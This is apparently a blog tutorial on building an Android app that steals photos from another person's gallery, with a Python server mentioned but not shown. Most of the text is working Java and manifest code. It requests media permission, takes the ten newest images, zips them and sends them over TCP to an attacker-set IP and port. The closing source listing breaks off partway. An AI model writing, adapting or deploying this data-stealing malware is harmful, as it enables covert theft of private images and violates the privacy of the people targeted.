I decided to write a small article for those who, for some unknown reason, want to get photos from another person’s gallery.
The article isn’t too large, but I think it’ll be interesting.
As usual, I’ll write the client code in Java(A).
Some may wonder what “A” means after Java.
This is an unofficial designation for the modified Java used on Android.
This time, the server code won’t be in C# + WPF, but in Python, because I was too lazy to use something more complex. 🙂
Communication between the client and server occurs over TCP, with the server’s IP and port embedded in the client code.
Let’s start with the client code.
First, as usual, we have the AndroidManifest.xml:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
I want to add that the example with this approach works on the latest Android versions, such as 13/14, and if you want to use the code on older versions 12, 11, 10… You’ll need to change the logic overall and use access to files with:
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
The full code will look like this:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.GallGrabNMZ"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Next, we have the MainActivity.java code with the main logic:
private static final int REQUEST_PERMISSIONS = 100;
private static final String SERVER_IP = "0.0.0.0"; // Server IP
private static final int SERVER_PORT = 7777; // Port
Here, insert your server’s ip:port where the data will be sent.
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
} else {
new ZipAndSendTask().execute();
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {
new ZipAndSendTask().execute();
} else {
Log.e("MainActivity", "Permission not granted");
}
}
This is the permission check.
Next in the code, we’ll show the main logic, but before that, I want to explain how it all works.
First, the code requests permission to access media content. After that, it fetches the last 10 images from the gallery and packs them into a .zip file for convenient sending. Then, the code sends this file to the server via a TCP connection.
Permissions -> data retrieval -> packaging -> sending -> receiving by the server.
Now, the code that fetches the images:
private ArrayList<String> getLastImages(int count) {
ArrayList<String> imagePaths = new ArrayList<>();
String[] projection = {MediaStore.Images.Media.DATA};
Cursor cursor = getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
projection, null, null,
MediaStore.Images.Media.DATE_ADDED + " DESC");
if (cursor != null) {
int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
while (cursor.moveToNext() && imagePaths.size() < count) {
imagePaths.add(cursor.getString(dataIndex));
}
cursor.close();
}
return imagePaths;
}
Now, the code to pack the data into a .zip archive:
private File zipImages(ArrayList<String> imagePaths) {
try {
File zipFile = new File(getCacheDir(), "images.zip");
ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));
for (String imagePath : imagePaths) {
File imageFile = new File(imagePath);
FileInputStream fis = new FileInputStream(imageFile);
ZipEntry zipEntry = new ZipEntry(imageFile.getName());
zos.putNextEntry(zipEntry);
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) > 0) {
zos.write(buffer, 0, length);
}
zos.closeEntry();
fis.close();
}
zos.close();
return zipFile;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
The code to send the .zip to the server:
private void sendZipToServer(File zipFile) {
try {
Socket socket = new Socket(SERVER_IP, SERVER_PORT);
OutputStream os = new BufferedOutputStream(socket.getOutputStream());
FileInputStream fis = new FileInputStream(zipFile);
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.flush();
os.close();
fis.close();
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Finally, here’s the code that’s called at the beginning and executes the above functions.
This code fetches the last 10 images from the list:
private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
@Override
protected Void doInBackground(Void... voids) {
try {
ArrayList<String> imagePaths = getLastImages(10); //number of images
if (!imagePaths.isEmpty()) {
// Pack them
File zipFile = zipImages(imagePaths);
if (zipFile != null) {
// Send them
sendZipToServer(zipFile);
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
Here’s the complete code for MainActivity.java:
“`java
package xss.nmz.gallgrab_nmz;
import android.Manifest;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.ArrayList;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class MainActivity extends AppCompatActivity {
private static final int REQUEST_PERMISSIONS = 100;
private static final String SERVER_IP = "";
private static final int SERVER_PORT = ;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Permission check
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
} else {
new ZipAndSendTask().execute();
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {
new ZipAndSendTask().execute();
} else {
Log.e("MainActivity", "Permission not granted");
}
}
private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
@Override
protected Void doInBackground(Void... voids) {
try {
ArrayList<String> imagePaths = getLastImages(10); //number of images
if (!imagePaths.isEmpty()) {
// Pack them
File zipFile = zipImages(imagePaths);
if (zipFile != null) {
// Send them
sendZipToServer(zipFile);
}
}
} catch (Exception e)
Leave a Reply